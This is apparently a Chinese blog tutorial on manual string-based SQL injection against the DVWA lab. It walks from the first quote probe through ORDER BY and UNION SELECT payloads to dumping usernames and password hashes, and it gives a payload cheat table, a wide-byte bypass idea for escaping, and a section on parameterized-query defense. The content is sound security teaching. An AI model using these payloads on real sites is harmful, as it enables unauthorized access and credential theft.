☰
DVWA靶场实战:字符型SQL注入手工测试完整链路解析
2026/10/22 15:58:30 网站建设 项目流程

2026年2月27日,我花了大半个下午把DVWA的SQL Injection模块完整过了一遍,重点是在Low级别手动跑通了字符型注入的完整链路。趁着流程和踩过的坑还很新鲜,把整个过程整理成这篇记录,从环境准备、闭合原理、手工注入的七个关键步骤,到我在练习时遇到的各种报错和排查方式,一口气写清楚。这篇适合刚接触Web安全、想把SQL注入原理彻底搞懂的朋友,也适合在CTF入门阶段被注入题卡住的人。看完你能理解为什么一个单引号就能让SQL语句崩溃,也能自己动手从探测到拖出数据完整走一遍,而不是只会用工具咔咔跑。

1. 准备工作与靶场环境搭建

1.1 DVWA怎么快速跑起来

DVWA是一套专门用来做漏洞练习的开源靶场,默认集成了SQL注入、XSS、文件上传等多个常见漏洞模块。我的环境是本地一台笔记本,Windows系统,装的是PHPStudy套件,把项目文件放到网站根目录后,访问http://127.0.0.1/dvwa/就能进入安装和登录页面。

启动之后必须先登录,默认账号和密码在DVWA的配置里写好了,一个是admin,另一个是password。登录后建议先进入DVWA Security菜单,把安全级别调整成Low。

提示:虽然叫Low,但这里是学习漏洞原理的最佳起点。Medium和High级别加入了转义、过滤和多行限制,一开始就看这些反而很难理解注入的本质。先把Low级别完全吃透,再往更高等级走,体验会非常清晰。

搭建时最容易翻车的点有两个:一是PHP版本过高导致旧版DVWA直接白屏,建议使用PHP 5.x到7.x之间的版本;二是数据库初始化失败,进入页面后先去Setup菜单检查数据库状态,确保勾选项都通过再开始操作。

1.2 字符型注入和数字型注入到底差在哪

DVWA的Low级别SQL注入模块,后端把传入参数拼进了这么一条查询语句(代码略作整理):

$id = $_REQUEST['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

关键就在'$id'这里。用户传入的$id被一对单引号包裹,这在SQL层面表示把它当成一个字符串值来处理。因为包裹的是单引号,所以这种注入被称为字符型注入。

数字型注入则是拼接时没有任何引号包裹,类似这样:

$id = $GET['id']; $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

数字型只需要输入1 union select ...这类payload,字符型的麻烦在于你得先考虑怎么把引号闭合掉,再考虑怎么让后面的语句合法地接上。很多人一开始分不清这个区别,看到字符型注入报错后手忙脚乱,本质上就是没意识到后台代码里有那对单引号在作祟。

打个比方,SQL语句就像一句要填进表格的话,原本表格上已经印好了引号,表示“这里填一个字符串”。你输入的每一个字符都会被塞进引号里当普通数据。字符型注入要做的事情,就是让你输入的内容里多出一个引号,这个引号把原本印好的引号“前半个”闭合掉,导致表格上引号后面的内容也能被你控制了。这就是后续一切操作的起点。

2. 字符型注入为什么存在:闭合原理拆解

2.1 从后端代码看注入的本质

下面这段是DVWA Low级别SQL注入模块的真实核心逻辑(保留关键逻辑):

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($conn, $getid);

问题出在用户输入和SQL语句的拼接方式上。开发者想让用户能指定查询某个用户ID,于是在SQL语句里用单引号包裹了变量$id。这个想法本身没问题,但$id来自用户请求中的参数,开发者没做任何校验或转义,直接把用户输入原封不动地拼进了SQL语句。

这种情况下,用户输入的内容已经不只是“数据”,而是变成了“SQL代码的一部分”。用行话说叫代码与数据混淆。

演示一下这个过程:当用户正常输入参数id=1时,最终SQL语句是:

SELECT first_name, last_name FROM users WHERE user_id = '1';

这是完全正常的查询,数据库会把user_id等于1的用户信息返回出来。可用户一旦输入id=1',最终SQL变成:

SELECT first_name, last_name FROM users WHERE user_id = '1'';

数据库解析时,会把第一个单引号和第二个单引号视为一对完整的字符串结束符,然后发现后面又多了一个单引号,语法直接崩掉,报错信息就泄露出来了。

所以我常说,判断SQL注入最简单的信号就是:输入单引号然后看页面是否出现数据库语法错误。出现语法错误,证明你的输入真的进入了SQL语句的执行上下文,这是最关键的信号。

2.2 闭合、注释和万能条件背后的语法逻辑

明白了单引号能让语句报错,接下来就是要让报错变成可控的查询结果。字符型注入最核心的三步是闭合、拼接、注释。

闭合的意思是:我们输入的内容里要包含一个单引号,让SQL语句原本配好的那一对单引号中的“前半个”被抵消掉。比如原语句是WHERE user_id = '$id';,当我们输入:

1' AND '1'='1

实际拼接出的SQL是:

SELECT first_name, last_name FROM users WHERE user_id = '1' AND '1'='1';

这里的WHERE user_id = '1'前面是一组完整查询,等于选择了用户ID为1的记录;后面拼上的AND '1'='1'是一个恒真条件,因为1永远等于1,所以结果跟原来的正常查询完全一致。页面就会正常返回数据。

如果输入的是:

1' AND '1'='2

拼出的SQL变成:

SELECT first_name, last_name FROM users WHERE user_id = '1' AND '1'='2';

因为1='2'是恒假条件,查询结果为空,页面不会返回任何记录。这两种结果一对比,就能确认我们的注入是成立的——我们输入的恒真恒假条件切实影响了最终查询结果。

注释符的作用也很重要,它能把SQL语句中后面无用的部分全部屏蔽掉。SQL语句末尾的分号、原有的条件,都会因为注释符的存在而不再参与语法解析。这样即使拼接出来的SQL语句长度和结构变得奇怪,也能被数据库正常执行。

以MySQL为例,注释符可以用#或--(注意后面需要跟一个空格)。实际手工注入时,我在URL里经常把#写成%23,否则浏览器会把它当作锚点处理;用Burp抓包发送时就不用担心这个问题,直接写#也可以,不过为了不依赖工具,我习惯统一用%23。

一旦掌握了闭合和注释,SQL注入的大门就算真正打开了:你可以在WHERE条件后面任意追加自己想要执行的SQL语句块,联合查询就是其中最有价值的一种利用手法。

3. 从探测到拖库:字符型注入的七步实操

3.1 第一步:判断注入点

打开SQL Injection模块,看到一个输入框和Submit按钮。先在输入框里填一个数字测试,比如1,点击提交,页面正常返回两个字段:First name和Surname,内容对应的是用户ID为1的数据。

再输入1',点击提交,页面立刻变成数据库报错页面,出现了类似这样的提示:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' at line 1

报错信息直接暴露了SQL语句的片段,这说明我输入的内容已经进入了SQL语句的解析流程。单引号导致语法不匹配,注入点确认存在。

实操心得:看到这个报错信息时别急着往下跑,先把报错消息里的SQL片段截图或记下来。它往往能帮助你反推后端拼接SQL的完整结构,比如在哪一个位置多了或少了一个引号。

3.2 第二步:验证闭合方式

注入点有了,下一步是验证闭合方式。我依次提交两条测试payload:

第一个输入:

1' AND '1'='1

页面正常返回了ID为1的记录。第二个输入:

1' AND '1'='2

页面返回空,没有任何记录。

这个对比实验能把闭合方式彻底确定:当我们用AND '1'='1这种恒真条件时,查询依然正常;用恒假条件时查询结果为空。说明我们输入的第一个单引号确实是用来闭合原SQL中user_id = '的引号,后面的AND '1'='1'已经被识别成SQL条件代码,而不再只是普通字符串。

这种手法的巧妙之处在于,即使后端代码里还包含其他我们看不到的字符或逻辑,只要预留的引号位置被正确接通,后面的恒真条件就不会破坏SQL整体结构。

3.3 第三步:用ORDER BY探测字段数量

在开始联合查询之前,必须先知道原查询返回几个字段。联合查询对两边字段数有严格要求,必须保证列数一致,否则依然会报错。

我提交:

1' ORDER BY 1#

页面正常。提交:

1' ORDER BY 2#

也正常。提交:

1' ORDER BY 3#

这次页面报错了,因为原查询结果只有两个字段,不可能按第三列排序。

由此确定当前SQL查询返回的字段数量是2。ORDER BY的原理是通过按第N列排序,数据库能正确执行就说明第N列存在,执行失败就说明N超出了结果集的列数上限,非常直观,而且不需要猜。

注意事项:有些环境会把空格转义,或者ORDER BY和数字之间不能有多余空格。我习惯写1'ORDER BY 2#或1' ORDER BY 2%23,在DVWA Low环境下直接写带空格的版本没有问题。

3.4 第四步:用UNION SELECT定位显示位

知道了当前查询返回2个字段,现在可以用UNION SELECT来构造一个自己的查询结果。UNION查询的规则是把两个查询结果纵向拼接,要求字段数一致。我们构造:

1' UNION SELECT 1, 2#

页面不仅返回了ID为1的记录,还额外多了一条数据,First name显示为1,Surname显示为2。这两个数字所在的位置,就是当前页面可回显的“显示位”。

显示位的意思非常直白:你在UNION SELECT后面写的第几个字段,最终就会把这个字段的值渲染在页面上的对应位置。通过显示位,你能把数据库函数或者后续查询的数据填充到页面里,实现数据带外回显。

我把显示位搞清楚后,习惯性地提交了:

1' UNION SELECT database(), 2#

页面第一条记录的位置直接输出了dvwa。这是当前连接的数据库名。至此,注入已经做到“想查什么就查什么”的地步了,后面要做的就是靠information_schema慢慢把数据翻出来。

3.5 第五步到第七步:查库名、表名、字段名与数据

确定了显示位后,常规的拖库流程就非常机械了,跟着下面顺序走就行。

先查库名,刚才已经顺手拿到了database()的返回值,也就是当前数据库名dvwa。

接着查表名,构造:

1' UNION SELECT table_name, 2 FROM information_schema.tables WHERE table_schema='dvwa'#

页面返回了该数据库下所有表的名称。information_schema是MySQL自带的元数据信息库,记录了数据库、表、列、索引等所有结构信息。查询这个库权限通常不受限制,所以这是SQL注入最常见的元数据来源。

查到表名里有users,下一步是查这张表的字段名:

1' UNION SELECT column_name, 2 FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='users'#

页面把users表的所有列名列了出来,包括 user_id, first_name, last_name, user, password, avatar 等。我关注的自然是用户名和密码列。

最后查询数据:

1' UNION SELECT user, password FROM users#

页面直接列出了两张用户名和对应的密码哈希值。DVWA的密码是MD5格式的哈希值,如果要还原成明文,可以在本地用哈希计算工具跑一下字典,不过这不影响我们理解整个注入流程。

到这里,一个从 "输入一个单引号让页面报错" 到 "把users表整张拖出来" 的完整字符型SQL注入链路已经全部走通。

3.6 实操现场的payload速查

我把这轮操作实际用到的payload整理成一张小表,方便后续复习:

操作阶段Payload预期结果
判断注入点1'页面SQL语法报错
验证闭合1' AND '1'='1/1' AND '1'='2前者返回数据,后者为空
探测列数1' ORDER BY 2#正常返回;ORDER BY 3时报错
定位显示位1' UNION SELECT 1,2#页面回显数字1和2
查数据库名1' UNION SELECT database(),2#回显库名dvwa
查表名1' UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema='dvwa'#回显所有表名
查字段名1' UNION SELECT column_name,2 FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='users'#回显所有列名
拖取数据1' UNION SELECT user, password FROM users#回显所有用户名和密码哈希

实操细节:地址栏直接输入#时,浏览器容易把它当作页面内锚点,导致请求里丢失注释符。我实际测试时把#改写成%23之后,一切都稳了。如果你也是直接在浏览器地址栏操作,建议把表里的所有#都换成%23。

4. 踩坑实录:这些问题我基本都遇到过

4.1 多一个引号或少一个引号

字符型注入的报错信息能提供很多线索,但经常也会让人绕晕。最常见的错误是payload里引号数量不对。比如写成:

1' AND '1'='1'

这种写法拼接后会出现:

WHERE user_id = '1' AND '1'='1''

末尾多了一个单引号,SQL解析器同样会报错。正确写法是让最后一个字符串的引号和SQL语句尾部配合好,用注释符屏蔽掉原语句尾部的分号,比如:

1' AND '1'='1#

搞不清楚的时候,我的习惯做法是先在脑子里把最终SQL语句完整拼出来,写完payload再落一行检查:前引号是否闭合了原条件、逻辑条件是否正确闭合、字符串末尾是否多引号。

4.2 注释符不生效

在使用URL传递参数时,最容易忽略的就是#被浏览器当作锚点处理。你以为注释符发出去了,实际上服务器收到的SQL语句里根本没有注释符,后面剩余代码依然存在,导致查询结构错误,页面一直报错。

排查方式很直接:用Burp Suite抓包看一眼实际发送的原始请求,确认#有没有变成%23。或者干脆在payload里统一写成%23,这是一个多环境稳定的方案。

还有一类问题是数据库版本的注释符差异,比如MySQL支持#和--(两个短横线加空格),但PostgreSQL和SQL Server只支持--。DVWA默认是MySQL环境,我用#就没事,但如果换靶场或换数据库,需要灵活调整。

4.3 空格被吞掉或编码出错

DVWA Low级别自己没有过滤空格,但浏览器地址栏和工具之间传递参数时,加号+会被当作空格,空格会被解码成%20,有些情况下双写会被服务端过滤。如果你直接把UNION SELECT写进地址栏,经常出现的问题是参数值里有空格、加号,导致后端接收的数据变了样子。

所以我建议从第一次遇到乱账开始,就切换到Burp等HTTP抓包工具里操作。在工具里把Raw请求截获后,手动修改参数值,再用Send发送,这样能精确控制服务器收到的每一个字符。实际测试下来,这比纠结地址栏的URL编码规则高效得多。

4.4 UNION查询字段数不匹配

如果ORDER BY确定有3列,你写UNION SELECT 1,2时数据库会立刻报错。UNION两侧的字段数必须严格一致。反过来,如果原SQL查询返回5列,你只写UNION SELECT 1,2,同样会报错。

这个错误信息通常是The used SELECT statements have a different number of columns,看到它不要慌,说明列数探测步骤没过,回头用ORDER BY慢慢试。

4.5 Medium和High级别为什么不灵了

Level调高后,同样的payload直接失效,这是很多新手卡住的地方。把DVWA的安全级别切到Medium后,后端逻辑变成这样(逻辑整理):

$id = mysqli_real_escape_string($conn, $_REQUEST['id']);

这个函数会对输入中的单引号、双引号、反斜杠等字符做转义,单引号前面会被加一个反斜杠。于是我写的1'到了SQL语句里就变成1\',单引号不再是SQL语义里的闭合符,而变成了普通字符串的一部分,注入自然失败。

High级别更进一步,直接改写了SQL写法:

$query = "SELECT first_name, last_name FROM users WHERE user_id = ? LIMIT 1;"; // 使用参数化查询

这个级别的SQL语句里已经没有了拼接动作,用户输入以问号占位符的形式传给数据库,再由数据库把占位符位置的数据当作纯数值处理。我之前的所有payload都拿不到任何操作空间。

我整理了一个简单的对照表:

级别防护方式绕过思路
Low无防护直接闭合引号,联合查询
Medium转义单引号尝试绕过转义,如宽字节、二次注入
High参数化查询+限制返回一行不能通过拼接绕过,只能寻找其他业务点
Impossible参数化查询+Token校验从头阻断注入

Medium级别的转义虽然能挡住初学者Payload,但它本质上还是“黑名单”思路,只处理了已知的恶意字符。学完Low再去实践Medium,你才会感受到“过滤永远不等于安全”这句话有多真实。比如在GBK字符集环境下,拿%bf%27这类宽字节想办法让转义符号失效,就是经典的绕过思路之一,这也是后续值得继续研究的方向。

5. 防御视角:参数化查询为什么是解药

5.1 Impossible级别到底做了什么事情

当DVWA安全级别调到Impossible,SQL查询部分变成了这样(逻辑整理):

$stmt = $conn->prepare("SELECT first_name, last_name FROM users WHERE user_id = ? LIMIT 1;"); $stmt->bind_param("i", $id); $stmt->execute();

这段代码用了MySQL的预处理语句(Prepared Statement)。先把SQL骨架发给数据库,数据库完成语法解析,然后单独把用户输入绑定到?占位符上。也就是说,数据库已经明确划定了边界:占位符位置只能容纳一个值,而不是一段代码。用户传来的任何内容都会被当作这个位置的“数据”,不能改变SQL语句的结构。

这跟“过滤”完全不是一个层次:过滤还是在一个没有任何边界的文本上做删除和转义,而预处理直接修改了SQL语句的生成方式,让边界从一开始就存在。

我在实际学习过程中最大的感受是:SQL注入的问题不单是输入过滤不严,而是“把用户数据拼接进SQL语句”这种做法本身就违反了安全边界原则。所以修复方案永远不是加几个黑名单函数,而是彻底改成参数化查询。

5.2 学完Low级别后下一步怎么走

如果你和我一样,刚开始接触Web安全不久,我的建议是这样递进地练:

先把Low级别的注入流程做到不用看笔记就能写出payload,能清楚说出每一步的目的和SQL语句最终的形态。然后切到Medium,研究转义机制和宽字节注入。再去学POST型注入,因为很多真实场景的注入点不在GET参数里,而是藏匿在登录表单和搜索表单中。随后是盲注类题目,页面没有报错也没有回显,只能靠真假页面差异推断数据。

学习和练习的范围务必控制在本地靶场或测试环境中,不要对非授权的系统进行测试。这点说多少遍都不为过,安全技能的价值不在于破坏,而在于了解攻击手法后能真正写出无法被拆解的防御代码。

最后再分享一个我自己的小习惯:每做完一次手工注入,就把用过的payload和SQL语句拼接结果抄在一个笔记里,仔细复盘“这条语句到底长什么样,数据库执行时会怎么走”。做满十几次之后,你对SQL注入的理解会完全不一样。所谓手感,其实就是对SQL语法结构和执行逻辑足够熟练。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询